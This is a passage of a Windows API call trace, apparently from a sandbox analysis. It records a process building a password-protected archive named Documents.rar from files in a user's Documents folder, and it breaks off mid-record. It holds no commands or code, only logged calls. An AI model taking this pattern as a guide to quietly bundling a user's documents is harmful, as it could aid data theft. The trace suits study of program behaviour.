GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x266)) [0067.988] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.988] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14332823256) returned 1 [0067.988] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x3af2, lpOverlapped=0x0) returned 1 [0067.988] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a3b32, nNumberOfBytesToRead=0xfc50e, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a3b32*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.988] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.988] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.988] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39db40 [0067.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.989] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39daf0 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63980 | out: hHeap=0x2e0000) returned 1 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63950 | out: hHeap=0x2e0000) returned 1 [0067.989] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39db40 [0067.989] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.991] GetTickCount () returned 0xa674a5 [0067.991] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14333320549) returned 1 [0067.993] GetTickCount () returned 0xa674a5 [0067.993] GetTickCount () returned 0xa674a5 [0067.993] GetTickCount () returned 0xa674a5 [0067.993] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.993] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.993] ResetEvent (hEvent=0x1a4) returned 1 [0067.993] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.994] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.994] ResetEvent (hEvent=0x1a4) returned 1 [0067.994] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.995] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.995] GetTickCount () returned 0xa674a5 [0067.995] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14333522208) returned 1 [0067.995] GetTickCount () returned 0xa674a5 [0067.995] GetTickCount () returned 0xa674a5 [0067.995] GetTickCount () returned 0xa674a5 [0067.995] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.995] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.995] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.995] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.995] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.995] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x9b6a0 [0067.995] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x9b6fd [0067.995] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.995] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.995] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.995] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.995] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x3b10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x3b10, lpOverlapped=0x0) returned 1 [0067.996] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.996] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=636576, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x9b6a0 [0067.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x9b6a0 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.996] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39daf0 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.996] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39db40 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63980 | out: hHeap=0x2e0000) returned 1 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63950 | out: hHeap=0x2e0000) returned 1 [0067.996] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63920, Size=0x48) returned 0x39daf0 [0067.996] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.996] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5d, lpOverlapped=0x0) returned 1 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63920 [0067.996] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5d) returned 0x3a1170 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x9f20d [0067.996] CloseHandle (hObject=0x1b0) returned 1 [0067.996] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.996] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.996] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.996] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.996] FindFirstFileW (in: lpFileName="Da5qX9dUi.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.996] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.997] CreateFileW (lpFileName="Da5qX9dUi.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\da5qx9dui.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.997] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.997] GetTickCount () returned 0xa674a5 [0067.997] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.997] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.997] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.997] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.997] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="C8sP.docx") returned 9 [0067.997] SetWindowTextW (hWnd=0x10280, lpString="Da5qX9dUi.xlsx") returned 1 [0067.997] GetTickCount () returned 0xa674a5 [0067.997] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.997] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.997] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.997] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.997] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x266)) [0067.998] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.998] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14333793610) returned 1 [0067.998] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x154ce, lpOverlapped=0x0) returned 1 [0067.998] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b550e, nNumberOfBytesToRead=0xeab32, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b550e*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.998] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.998] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0067.998] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0067.998] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39db40 [0067.999] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.999] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0067.999] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39daf0 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.999] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0067.999] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63980 | out: hHeap=0x2e0000) returned 1 [0067.999] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39db40 [0067.999] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.999] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.999] GetTickCount () returned 0xa674b5 [0067.999] GetLastError () returned 0x0 [0067.999] SetLastError (dwErrCode=0x0) [0067.999] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.999] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.999] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.999] SetWindowTextW (hWnd=0x10282, lpString=" 100%") returned 1 [0068.000] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0068.000] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14333998416) returned 1 [0068.000] GetTickCount () returned 0xa674b5 [0068.000] GetTickCount () returned 0xa674b5 [0068.000] GetTickCount () returned 0xa674b5 [0068.000] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.000] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.000] ResetEvent (hEvent=0x1a4) returned 1 [0068.000] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.001] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.001] ResetEvent (hEvent=0x1a4) returned 1 [0068.001] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.004] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.004] ResetEvent (hEvent=0x1a4) returned 1 [0068.004] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.007] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.007] GetTickCount () returned 0xa674b5 [0068.007] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14334716478) returned 1 [0068.007] GetTickCount () returned 0xa674b5 [0068.007] GetTickCount () returned 0xa674b5 [0068.007] GetTickCount () returned 0xa674b5 [0068.007] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.007] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.007] ResetEvent (hEvent=0x190) returned 1 [0068.007] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.007] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.008] ResetEvent (hEvent=0x190) returned 1 [0068.008] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.008] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.008] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.008] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x9f20d [0068.008] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x9f26f [0068.008] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.008] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.009] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.009] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.009] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x15590, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x15590, lpOverlapped=0x0) returned 1 [0068.010] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=651789, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x9f20d [0068.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x9f20d [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.010] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39daf0 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.010] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39db40 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63980 | out: hHeap=0x2e0000) returned 1 [0068.010] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63950, Size=0x48) returned 0x39daf0 [0068.010] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.010] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63950 [0068.010] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3a11e0 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.010] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xb47ff [0068.010] CloseHandle (hObject=0x1b0) returned 1 [0068.010] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.010] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.010] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.011] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.011] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\whuoxysd\\documents\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.011] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.011] GetTickCount () returned 0xa674b5 [0068.011] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.011] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.011] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.011] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.011] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Da5qX9dUi.xlsx") returned 14 [0068.011] SetWindowTextW (hWnd=0x10280, lpString="desktop.ini") returned 1 [0068.011] GetTickCount () returned 0xa674b5 [0068.011] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.011] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.011] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.011] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.011] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x276)) [0068.012] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.012] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14335194500) returned 1 [0068.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x192, lpOverlapped=0x0) returned 1 [0068.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a01d2, nNumberOfBytesToRead=0xffe6e, 